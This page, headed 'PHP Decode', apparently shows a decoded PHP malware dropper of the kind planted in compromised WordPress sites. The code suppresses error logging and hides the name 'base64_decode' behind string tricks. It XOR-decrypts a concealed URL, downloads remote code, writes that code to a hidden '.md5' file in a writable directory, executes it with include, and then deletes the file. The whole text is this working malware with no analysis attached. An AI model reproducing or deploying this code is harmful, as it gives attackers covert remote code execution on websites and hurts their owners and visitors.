PHP Decode

<?php 
error_reporting(0); 
@ini_set("error_log",NULL); 
@ini_set("log_errors",0); 
@ini_set("display_errors",0); 
if (!$npDcheckClassBgp) { 
$ea = "_shaesx_"; $ay = "get_data_ya"; $ae = "decode"; $ea = str_replace("_sha", "bas", $ea); $ao = "wp_cd"; $ee = $ea.$ae; $oa = str_replace("sx", "64", $ee); $algo = "md5"; $pass = " 
Zgc5c4MXrKk0ZQwD69BWJ/PdPFbQdr9dm2WSGbE="; 
if (ini_get("allow_url_fopen")) { 
    function get_data_ya($url) { 
        $data = file_get_contents($url); 
        return $data; 
    } 
} 
else { 
    function get_data_ya($url) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); 
        $data = curl_exec($ch); 
        curl_close($ch); 
        return $data; 
    } 
} 
function wp_cd($fd, $fa="") 
{ 
   $fe = "wp_frmfunct"; 
   $len = strlen($fd); 
   $ff = ""; 
   $n = $len>100 ? 8 : 2; 
   while( strlen($ff)<$len ) 
   { 
      $ff .= substr(pack("H*", sha1($fa.$ff.$fe)), 0, $n); 
   } 
   return $fd^$ff; 
} 
$reqw = $ay($ao($oa("$pass"), "wp_function")); 
preg_match("#gogo(.*)enen#is", $reqw, $mtchs); 
$dirs = glob("*", GLOB_ONLYDIR); 
foreach ($dirs as $dira) { 
        if (fopen("$dira/.$algo", "w")) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", "w"); break; } 
        $subdirs = glob("$dira/*", GLOB_ONLYDIR); 
        foreach ($subdirs as $subdira) { 
                if (fopen("$subdira/.$algo", "w")) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", "w"); break; } 
        } 
} 
if (!$ura && fopen(".$algo", "w")) { $ura = 1; $eb = ""; $hdl = fopen(".$algo", "w"); } 
fwrite($hdl, "<?php
$mtchs[1]
?>"); 
fclose($hdl); 
include("{$eb}.$algo"); 
unlink("{$eb}.$algo"); 
$npDcheckClassBgp = "aue"; 
}